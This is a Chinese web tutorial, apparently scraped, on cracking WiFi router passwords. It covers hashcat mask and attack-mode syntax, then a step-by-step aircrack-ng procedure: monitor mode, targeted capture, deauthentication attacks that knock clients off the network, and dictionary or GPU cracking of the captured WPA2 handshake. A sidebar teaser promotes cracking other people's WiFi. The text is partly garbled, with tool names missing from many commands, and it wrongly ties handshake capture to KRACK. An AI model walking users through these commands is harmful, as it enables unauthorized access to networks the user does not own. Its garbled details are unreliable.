欢迎您访问破解路由器密码!

破解路由器密码

更新时间:2022-07-12 10:13:57作者:佚名

本文讲述如何利用 kali 机 -ng 相关命令,抓取 wifi 连接握手包。然后结合密码字典,破解 wifi 账号密码。

参考:++WiFi%E7%A0%B4%E8%A7%A3/

一、密码字典1. 常见掩码字符集

l | abcdefghijklmnopqrstuvwxyz          纯小写字母
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ          纯大写字母
d | 0123456789                          纯数字
h | 0123456789abcdef                    常见小写字母和数字
H | 0123456789ABCDEF                    常见大写字母和数字
s |  !"#$%&'()*+,-./:;<=>?@[]^_`{|}~   特殊字符
a | ?l?u?d?s                            键盘上所有可见的字符
b | 0x00 - 0xff                         可能是用来匹配像空格这种密码的

2. 简单的例子

八位数字密码:?d?d?d?d?d?d?d?d
八位小写字母密码:?l?l?l?l?l?l?l?l
八位未知密码:?a?a?a?a?a?a?a?a
八位数字+小写字母密码:?h?h?h?h?h?h?h?h
前四位为大写字母,后面四位为数字:?u?u?u?u?d?d?d?d
前四位为数字或者是小写字母,后四位为大写字母或者数字:?h?h?h?h?H?H?H?H
前三个字符未知,中间为admin,后三位未知:?a?a?aadmin?a?a?a
6-8位数字密码:--increment --increment-min 6 --increment-max 8 ?l?l?l?l?l?l?l?l
6-8位数字+小写字母密码:--increment --increment-min 6 --increment-max 8 ?h?h?h?h?h?h?h?h

3. 密码选择WiFi常见密码字典8位数字掩码11位手机号掩码(根据地区提前确定某些位)8位小写字母掩码8位小写字母+数字掩码4. 纯数字

hashcat -m 2500 -a 3 handshake.hccap ?d?d?d?d?d?d?d?d     // 8位数字

二、密码破解推荐原则1. 密码破解推荐原则

破解时采取先易后难的原则破解路由器密码,建议如下:

(1)利用收集的公开字典进行破解

(2)使用1-8位数字进行破解

(3)使用1-8位小写字母进行破解

(4)使用1-8位大写字母进行破解

(5)使用1-8位混合大小写+数字+特殊字符进行破解

2. 破解规则

(1)字典攻击

-a 0 .lst

(2)1到8为数字掩码攻击

-a 3 -- ---min 1---max 8 ?d?d?d?d?d?d?d?d –O

?d 代表数字,可以换成小写字母 ?l,大写字母 ?u,特殊字符 ?s,大小写字母+特殊字符 ?a,–O 表示最优化破解模式,可以加该参数,也可以不加该参数。

(3)8为数字攻击

同理可以根据位数设置为字母大写、小写、特殊字符等模式。

(4)自定义字符

现在纯数字或者纯字母的密码是比较少见的,根据密码专家对泄漏密码的分析,90% 的个人密码是字母和数字的组合,可以是自定义字符了来进行暴力破解, 支持4个自定义字符集,分别是 -1 -2 -3 -4。定义时只需要这样 -2 ?l?d ,然后就可以在后面指定 ?2,?2 表示小写字母和数字。这时候要破解一个 8 位混合的小写字母加数字:

.exe -a 3 --force -2 ?l?d hassh值或者hash文件 ?2?2?2?2?2?2?2?2

破解路由器密码

例如破解dz小写字母+数字混合8位密码破解:

-m 2611 -a 3 -2 ?l?d dz.hash ?2?2?2?2?2?2?2?2

(5)字典+掩码暴力破解

还支持一种字典加暴力的破解方法,就是在字典前后再加上暴力的字符序列,比如在字典后面加上 3 为数字,这种密码是很常见的。使用第六种攻击模式:

a-6 ( dict + mask)

如果是在字典前面加则使用第 7 中攻击模式也即 ( a-7 = + dict),下面对字典文件加数字 123 进行破解:

H.exe -a 6 .lst ?d?d?d

假如 的密码为 ,则只要 .lst 包含 123 即可。

(6)掩码+字典暴力破解

H.exe -a 7 .lst ?d?d?d

假如的密码为 ,则只要.lst 包含 即可。

(7)大小写转换攻击,对 .lst 中的单词进行大小写转换攻击

H.exe-a 2 .lst

三、破解方法掌法一:-ng 抓包并破解(Linux Kali)

基本功,入门手法

1. -ng 简介

-ng 是一个与 802.11 标准的无线网络分析有关的安全软件,主要功能有:网络侦测破解路由器密码,数据包嗅探,WEP 和 WPA/WPA2-PSK 破解。-ng 可以工作在任何支持监听模式的无线网卡上(设备列表请参阅其官方网站)并嗅探 802.11a,802.11b,802.11g 的数据。

2. 前言

随着互联网的发展,WiFi 被发明出来,它是一个创建于 IEEE 802.11 标准的无线局域网技术。随着 WiFi 普及,如今 WiFi 几乎存在于所有的集体商户或 个人家庭,在个人家庭有时候会出现忘记密码的时候,这时候就可以用到今天演示的实验了,废话不多说了,开搞~

准备工作: 我使用的环境是虚拟机,物理机是笔记本,根据 kali 官方文档得知,虚拟机 kali 并不能使用物理机自带的无线网卡,所以我们要准备一块 USB 无线网卡,一定要买兼容kali和免驱的(来自踩坑者的建议)。如果是物理机上直接装 kali 的狼人,当我没说~

3. 破解原理

首先我们看张图:

说明: 图中椭圆为 WiFi 覆盖区域,中间有一个路由器,上面是三台正常连接 WiFi 的设备(虚线说明是无线连接),我们的攻击机是 kali,首先 kal i可以监听他们之间的连接情况,然后向路由器发起攻击,所有连接的设备会掉线,接下来设备会重新进行连接,这时候 kali 可以抓取他们连接时候的握手包,最后对握手包里加密的密文进行爆破即可~(一般 WiFi 密码不会设置太复杂,爆破几率还是很大的)

WPA2 的破解过程主要分为两步:

(1)抓取 WPA2 的四重握手 (4-Way ) 认证包;(2)破解四重握手认证包。

假设被攻击的 Wi-Fi 接入点为 A,接入点中有一个合法的 Wi-Fi 客户端 B,攻击者为 C,则抓取 WPA2 四重握手信息的主要步骤为:

1)攻击者 C 使其Wi-Fi收发设备进入监视模式 ( Mode),嗅探周围存在的 Wi-Fi 接入点、Wi-Fi 客户端的互相连接信息和 MAC 地址;

2)攻击者 C 将自己的 MAC 地址伪装成 Wi-Fi 接入点 A 的 MAC 信息,并向合法客户端B发出断线信息;

3)合法客户端 B 误以为自己断线,重新和接入点 A 进行四重握手认证流程;

4)攻击者 C 截取四重握手认证包。

这部分内容其实叫做 KRACK(Key , 密钥重载攻击),于 2017 年由比利时鲁汶大学的研究者们提出。

对这部分内容感兴趣的读者们可以在【他们的主页】找到更详细的描述。

破解四重握手认证包的主要步骤为:

1)获取一个质量较高的密码字典,最理想的情况是该字典包含被攻击的四重握手包密码,其次理想的情况是被攻击的密码大部分字符出现在字典中,剩下字符则是规则简单的序列;

2)使用 GPU 加速 hash 碰撞,进行密码破解。

对这部分内容感兴趣的读者可以在著名的 hash 碰撞工具【的主页】找到更详细的描述。这篇博文也会使用 作为 hash 碰撞工具。

4. 实验过程

实验环境搭建: 我这里使用手机开热点作为攻击的目标(路由器),使用我的物理机笔记本连接热点(正常连接设备),开启虚拟机kali并把有线连接关闭(尽可能防止实验干扰),插入我们准备的无线网卡,这里虚拟机会提示连接到物理机还是虚拟机,选择虚拟机 kali 即可~

整个 wifi 破解过程,包括三个步骤:

(1) WIFI 信息收集

(2) WIFI 连接握手包抓取

(3) 利用密码字典暴力跑包

Step1:首先在kali中打开终端,使用“”命令查看网卡信息

ifconfig

破解路由器密码

或者 iwconfig

Step2:开启网卡的监听模式

airmon-ng start wlan0       //指定网卡名字wlan0,开启监听模式

Step3:别的程序在占用网卡,可以使用标红处命令清理

airmon-ng check kill  //清理掉占用网卡的程序,使airmon-ng工具可支配网卡

Step4:检查是否成功开启了监听模式

ifconfig        //wlan0变成了wlan0mon,这就是开启侦听模式的标志

Step5:扫描发现一下附近的WiFi

airodump-ng wlan0mon  //指定监听模式下的网卡名字

一般信号最强的在第一行,这时候可以 ctrl+c 结束一下

Step6:只对我们的目标进行侦听抓包,不理会其他WiFi

airodump-ng --bssid B4:CD:27:DF:BF:AE -c 1 --write wifi1 wlan0mon
//--bssid参数指定目标的MAC地址,-c参数指定信道数,也就是CH那一列,--write参数指定抓到的包存放文件名字,wlan0mon指定网卡名字

Step7:让这个终端放着,重新打开一个终端,对WiFi热点攻击,使所有设备断开连接

aireplay-ng -0 20 -a B4:CD:27:DF:BF:AE wlan0mon  //-0参数指定发送攻击数据包的个数,-a参数指定攻击设备的MAC地址,wlan0mon指定无线网卡名字

第一个终端上如果出现标红区域这一条数据,就说明已经抓到了设备与热点之间的握手包并存放在了此目录下,如果没有显示,可以按上一步多发送几次,再来查看

Step8:接下来我们进行爆破,首先要准备一个字典

aircrack-ng -w pass.txt wifi1-01.cap  //-w参数指定密码字典,wifi1-01.cap为握手包
或者
aircrack-ng- a2 -b B4:CD:27:DF:BF:AE -w pass.txt wifi1-01.cap       //-a2代表WPA的握手包 -b指定要破解的wifi BSSID  -w指定字典文件

这时候会惊喜的发现密码已经爆破完毕了,速度还是挺快的,使用密码即可登录

Step9:无线网卡退出监听模式

airmon-ng stop wlan0mon

掌法二:-ng 抓包 + 破解(Kail Linux)

优势:

速度提高数倍

可以用gpu破解

首先要把 抓取的cap文件转化为hccap格式, 可以在线转换, 在线转换的地址为:, 也可以用-ng转换

aircrack-ng  -J 

或者使用 命令,第一个参数: -m 2500 为破解的模式为 WPA/PSK 方式 ,第二个参数: hccap 格式的文件是刚刚转化好的文件, 第三个参数: dics.txt为字典文件 :

hashcat -m 2500 out.hccap.hccap  dics.txt -o results

为您推荐

怎么删除光速搜索

在此,小编为大家介绍一款简单、实用的快速搜索工具,它就是光速搜索。光速搜索是盛大创新院开发的一款非常实用的桌面快速搜索工具,可快速搜索本机文件,区别于系统自带搜索,最大的亮点是轻巧高速,查找文件几乎是瞬间完成。从图中我们看到,光速搜索的界面功能比较多,但可以说恰到好处,既让人减少了操作也不会觉得界面凌乱繁琐。对于图片还有预览功能,直接显示在搜索窗口的右边,是不是很方便实用呢~

2022-07-12 10:11

破解路由器密码

有一种痛叫做看到WiFi信号满格,但是没密码不能上网,那么今天,SPOTO兄弟就教大家怎么用手机破解wifi密码,让你用手机分分钟破解别人的wifi密码!的路由器才会被扫描到没开的就忽略终端模拟器这个就是我们离不开的工具主要靠它破解路由器你就替换成路由器的mac位,然后就可以完整得出路由的pin码。码在破出密码直接输入pin码,就不是大难题。

2022-07-12 09:14

任务栏没有声音图标

很多用户在使用电脑的过程中,都有碰到这样一种情况:任务栏上的声音图标莫名其妙就不见了,这该怎么办呢?不同的操作系统,找回方法也不尽相同,下面小编给大家分别介绍XP系统和Win7系统找回声音图标的操作方法。XP系统下找回任务栏声音图标的方法:重启电脑,试试看声音图标是否已经还原。上述便是电脑任务栏声音图标不见的恢复方法,使用XP系统或Win7系统的用户可以参看以上教程找回声音图标。

2022-07-12 08:05

手机杀毒软件java版

2017手机杀毒软件排行_杀毒软件排行榜那么到底手机杀毒软件哪个好?下面学习啦小编分享了2017手机杀毒软件排行,一起来了解吧。2016手机杀毒软件排行盘点手机杀毒软件排行NO.1、腾讯手机管家(安卓版、iOS版)腾讯手机管家安卓版帮你管理你的手机,让你的手机更安全。手机杀毒软件排行NO.手机杀毒软件排行NO.3、百度手机卫士(安卓版、iOS版)手机杀毒软件排行NO.手机杀毒软件排行NO.手机杀毒软件排行NO.手机杀毒软件排行NO.手机杀毒软件排行NO.8、金山手机卫士(安卓版)手机杀毒软件排行NO.手机

2022-07-11 21:02

热血无赖基本操作

新手进阶指南作为一款自由度超高的卧底类游戏,热血无赖处除了特别的剧情之外还有超高的动作性和最棒的动作系统,很多新手在初期熟悉游戏操作之后,就只专注于游戏的剧情和精彩的打斗动作,而忽略了一些进阶之后应该知道的事情。

2022-07-11 20:06

红警3序列号修改器

hlsw是一个网络游戏的客户端控制软件,实时显示服务器的类型、游戏人数、地图、参数等数据。您无需进入游戏控制台即可管理服务器。HLSW是专业的用来建立大型游戏服务器的软件,它可以实时显示服务器的类型、游戏人数、地图、参数等数据。您无需进入游戏控制台即可管理服务器。49修复了一个因为steam在3月9号更新之后出现的日志接收问题。增加了一个有关禁止重新装填弹药的按钮bug,在Half-Life上的命令得以使用。

2022-07-11 20:06

加载中...